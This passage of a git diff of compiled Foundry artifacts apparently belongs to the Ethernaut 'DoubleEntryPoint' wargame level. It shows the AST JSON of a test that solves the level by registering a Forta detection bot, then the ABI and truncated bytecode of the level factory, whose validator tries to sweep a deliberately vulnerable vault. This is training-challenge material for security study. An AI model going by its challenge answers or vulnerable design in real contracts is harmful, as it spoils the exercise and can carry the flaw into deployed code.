external"}},"id":60335,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1240:21:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60336,"nodeType":"ExpressionStatement","src":"1240:21:127"},{"expression":{"id":60353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60337,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60255,"src":"1271:8:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60342,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60252,"src":"1327:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60346,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60309,"src":"1352:7:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPointFactory_$52080","typeString":"contract DoubleEntryPointFactory"}],"id":60345,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1344:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60344,"name":"address","nodeType":"ElementaryTypeName","src":"1344:7:127","typeDescriptions":{}}},"id":60347,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1344:16:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60343,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1338:5:127","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60348,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1338:23:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60349,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1363:1:127","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60341,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1307:19:127","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60350,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1307:58:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60340,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1299:8:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60339,"name":"address","nodeType":"ElementaryTypeName","src":"1299:8:127","stateMutability":"payable","typeDescriptions":{}}},"id":60351,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1299:67:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60338,"name":"DoubleEntryPoint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":51850,"src":"1282:16:127","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_DoubleEntryPoint_$51850_$","typeString":"type(contract DoubleEntryPoint)"}},"id":60352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1282:85:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"src":"1271:96:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":60354,"nodeType":"ExpressionStatement","src":"1271:96:127"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60355,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1377:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60357,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1380:9:127","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1377:12:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60358,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1377:14:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60359,"nodeType":"ExpressionStatement","src":"1377:14:127"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"791:5:127","parameters":{"id":60260,"nodeType":"ParameterList","parameters":[],"src":"796:2:127"},"returnParameters":{"id":60261,"nodeType":"ParameterList","parameters":[],"src":"806:0:127"},"scope":60432,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60382,"nodeType":"FunctionDefinition","src":"1650:137:127","nodes":[],"body":{"id":60381,"nodeType":"Block","src":"1677:110:127","nodes":[],"statements":[{"expression":{"arguments":[{"id":60368,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60259,"src":"1701:6:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60365,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1687:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60367,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1690:10:127","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1687:13:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60369,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1687:21:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60370,"nodeType":"ExpressionStatement","src":"1687:21:127"},{"expression":{"arguments":[{"arguments":[{"id":60373,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60252,"src":"1750:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60376,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60255,"src":"1769:8:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"id":60375,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1761:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60374,"name":"address","nodeType":"ElementaryTypeName","src":"1761:7:127","typeDescriptions":{}}},"id":60377,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1761:17:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60372,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1730:19:127","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60378,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1730:49:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60371,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1718:11:127","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60379,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1718:62:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60380,"nodeType":"ExpressionStatement","src":"1718:62:127"}]},"documentation":{"id":60362,"nodeType":"StructuredDocumentation","src":"1582:63:127","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1659:8:127","parameters":{"id":60363,"nodeType":"ParameterList","parameters":[],"src":"1667:2:127"},"returnParameters":{"id":60364,"nodeType":"ParameterList","parameters":[],"src":"1677:0:127"},"scope":60432,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60431,"nodeType":"FunctionDefinition","src":"1842:286:127","nodes":[],"body":{"id":60430,"nodeType":"Block","src":"1870:258:127","nodes":[],"statements":[{"expression":{"arguments":[{"id":60389,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60259,"src":"1894:6:127","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60386,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1880:2:127","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60388,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1883:10:127","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1880:13:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60390,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1880:21:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60391,"nodeType":"ExpressionStatement","src":"1880:21:127"},{"assignments":[60394],"declarations":[{"constant":false,"id":60394,"mutability":"mutable","name":"forta","nameLocation":"1918:5:127","nodeType":"VariableDeclaration","scope":60430,"src":"1912:11:127","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"},"typeName":{"id":60393,"nodeType":"UserDefinedTypeName","pathNode":{"id":60392,"name":"Forta","nameLocations":["1912:5:127"],"nodeType":"IdentifierPath","referencedDeclaration":51577,"src":"1912:5:127"},"referencedDeclaration":51577,"src":"1912:5:127","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"visibility":"internal"}],"id":60398,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60395,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60255,"src":"1926:8:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}},"id":60396,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1935:5:127","memberName":"forta","nodeType":"MemberAccess","referencedDeclaration":51737,"src":"1926:14:127","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_contract$_Forta_$51577_$","typeString":"function () view external returns (contract Forta)"}},"id":60397,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1926:16:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"nodeType":"VariableDeclarationStatement","src":"1912:30:127"},{"assignments":[60401],"declarations":[{"constant":false,"id":60401,"mutability":"mutable","name":"bot","nameLocation":"1965:3:127","nodeType":"VariableDeclaration","scope":60430,"src":"1952:16:127","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"},"typeName":{"id":60400,"nodeType":"UserDefinedTypeName","pathNode":{"id":60399,"name":"DetectionBot","nameLocations":["1952:12:127"],"nodeType":"IdentifierPath","referencedDeclaration":49248,"src":"1952:12:127"},"referencedDeclaration":49248,"src":"1952:12:127","typeDescriptions":{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"}},"visibility":"internal"}],"id":60410,"initialValue":{"arguments":[{"arguments":[{"id":60407,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60394,"src":"1996:5:127","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}],"id":60406,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1988:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60405,"name":"address","nodeType":"ElementaryTypeName","src":"1988:7:127","typeDescriptions":{}}},"id":60408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1988:14:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60404,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1971:16:127","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_DetectionBot_$49248_$","typeString":"function (address) returns (contract DetectionBot)"},"typeName":{"id":60403,"nodeType":"UserDefinedTypeName","pathNode":{"id":60402,"name":"DetectionBot","nameLocations":["1975:12:127"],"nodeType":"IdentifierPath","referencedDeclaration":49248,"src":"1975:12:127"},"referencedDeclaration":49248,"src":"1975:12:127","typeDescriptions":{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"}}},"id":60409,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1971:32:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"}},"nodeType":"VariableDeclarationStatement","src":"1952:51:127"},{"expression":{"arguments":[{"arguments":[{"id":60416,"name":"bot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60401,"src":"2044:3:127","typeDescriptions":{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DetectionBot_$49248","typeString":"contract DetectionBot"}],"id":60415,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2036:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60414,"name":"address","nodeType":"ElementaryTypeName","src":"2036:7:127","typeDescriptions":{}}},"id":60417,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2036:12:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":60411,"name":"forta","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60394,"src":"2014:5:127","typeDescriptions":{"typeIdentifier":"t_contract$_Forta_$51577","typeString":"contract Forta"}},"id":60413,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2020:15:127","memberName":"setDetectionBot","nodeType":"MemberAccess","referencedDeclaration":51516,"src":"2014:21:127","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60418,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2014:35:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60419,"nodeType":"ExpressionStatement","src":"2014:35:127"},{"expression":{"arguments":[{"arguments":[{"id":60422,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60252,"src":"2091:9:127","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60425,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60255,"src":"2110:8:127","typeDescriptions":{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DoubleEntryPoint_$51850","typeString":"contract DoubleEntryPoint"}],"id":60424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2102:7:127","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60423,"name":"address","nodeType":"ElementaryTypeName","src":"2102:7:127","typeDescriptions":{}}},"id":60426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2102:17:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60421,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2071:19:127","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60427,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2071:49:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60420,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2060:10:127","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60428,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2060:61:127","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60429,"nodeType":"ExpressionStatement","src":"2060:61:127"}]},"documentation":{"id":60383,"nodeType":"StructuredDocumentation","src":"1793:44:127","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1851:9:127","parameters":{"id":60384,"nodeType":"ParameterList","parameters":[],"src":"1860:2:127"},"returnParameters":{"id":60385,"nodeType":"ParameterList","parameters":[],"src":"1870:0:127"},"scope":60432,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60246,"name":"Test","nameLocations":["471:4:127"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"471:4:127"},"id":60247,"nodeType":"InheritanceSpecifier","src":"471:4:127"},{"baseName":{"id":60248,"name":"Utils","nameLocations":["477:5:127"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"477:5:127"},"id":60249,"nodeType":"InheritanceSpecifier","src":"477:5:127"}],"canonicalName":"TestDoubleEntryPoint","contractDependencies":[49101,49248,52080,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[60432,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestDoubleEntryPoint","nameLocation":"447:20:127","scope":60433,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":127} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPointFactory.sol/DoubleEntryPointFactory.json b/contracts/out/DoubleEntryPointFactory.sol/DoubleEntryPointFactory.json new file mode 100644 index 000000000..ab1330350 --- /dev/null +++ b/contracts/out/DoubleEntryPointFactory.sol/DoubleEntryPointFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"__trySweep","inputs":[{"name":"cryptoVault","type":"address","internalType":"contract CryptoVault"},{"name":"instance","type":"address","internalType":"contract DoubleEntryPoint"}],"outputs":[{"name":"","type":"bool","internalType":"bool"},{"name":"","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6138078061007a5f395ff3fe6080604052600436106200006b575f3560e01c8063d38def5b1162000046578063d38def5b14620000da578063f2fde38b146200010f578063fae99eae1462000133575f80fd5b8063715018a6146200006f5780637726f77614620000885780638da5cb5b14620000bc575b5f80fd5b3480156200007b575f80fd5b506200008662000167565b005b6200009f6200009936600462000a23565b6200017e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000c8575f80fd5b505f546001600160a01b03166200009f565b348015620000e6575f80fd5b50620000fe620000f836600462000a48565b620003da565b6040519015158152602001620000b3565b3480156200011b575f80fd5b50620000866200012d36600462000a23565b62000663565b3480156200013f575f80fd5b50620001576200015136600462000a48565b620006f9565b604051620000b392919062000aa8565b6200017162000914565b6200017c5f6200096f565b565b5f806040516200018e90620009d6565b604051809103905ff080158015620001a8573d5f803e3d5ffd5b5090505f604051620001ba90620009e4565b604051809103905ff080158015620001d4573d5f803e3d5ffd5b5090505f84604051620001e790620009f2565b6001600160a01b039091168152602001604051809103905ff08015801562000211573d5f803e3d5ffd5b5090505f83828488604051620002279062000a00565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103905ff08015801562000269573d5f803e3d5ffd5b506040517fbdb2321f0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063bdb2321f906024015f604051808303815f87803b158015620002c8575f80fd5b505af1158015620002db573d5f803e3d5ffd5b50506040517f1d2d84000000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015287169250631d2d840091506024015f604051808303815f87803b15801562000339575f80fd5b505af11580156200034c573d5f803e3d5ffd5b50506040517f40c10f190000000000000000000000000000000000000000000000000000000081526001600160a01b03858116600483015268056bc75e2d631000006024830152871692506340c10f1991506044015f604051808303815f87803b158015620003b9575f80fd5b505af1158015620003cc573d5f803e3d5ffd5b509298975050505050505050565b5f808390505f816001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200041d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000443919062000ae5565b6040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301529192505f91831690639e1083ca90602401602060405180830381865afa158015620004a6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004cc919062000ae5565b90506001600160a01b038116620004e9575f93505050506200065d565b5f836001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000527573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200054d919062000ae5565b6040517ffae99eae0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301528616602482015290915081905f908190309063fae99eae906044015f604051808303815f875af1158015620005ba573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620005e3919081019062000b45565b9150915081156200063b5760405162461bcd60e51b815260206004820152600e60248201527f537765657020737563636564656400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f8180602001905181019062000652919062000c0e565b985050505050505050505b92915050565b6200066d62000914565b6001600160a01b038116620006eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840162000632565b620006f6816200096f565b50565b5f6060836001600160a01b0316631be19560846001600160a01b03166326fe99516040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000748573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200076e919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b0390911660048201526024015f604051808303815f87803b158015620007c5575f80fd5b505af1925050508015620007d7575060015b620008f9575f80846001600160a01b03166370a08231866001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000850919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015620008ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620008d1919062000c2a565b60408051929091116020830152015b604051602081830303815290604052915091506200090d565b604080515f602082015260019101620008e0565b9250929050565b5f546001600160a01b031633146200017c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000632565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe28062000c4383390190565b6103d48062001c2583390190565b6103f38062001ff983390190565b6113e680620023ec83390190565b6001600160a01b0381168114620006f6575f80fd5b5f6020828403121562000a34575f80fd5b813562000a418162000a0e565b9392505050565b5f806040838503121562000a5a575f80fd5b823562000a678162000a0e565b9150602083013562000a798162000a0e565b809150509250929050565b5f5b8381101562000aa057818101518382015260200162000a86565b50505f910152565b8215158152604060208201525f825180604084015262000ad081606085016020870162000a84565b601f01601f1916919091016060019392505050565b5f6020828403121562000af6575f80fd5b815162000a418162000a0e565b8051801515811462000b13575f80fd5b919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f806040838503121562000b57575f80fd5b62000b628362000b03565b9150602083015167ffffffffffffffff8082111562000b7f575f80fd5b818501915085601f83011262000b93575f80fd5b81518181111562000ba85762000ba862000b18565b604051601f8201601f19908116603f011681019083821181831017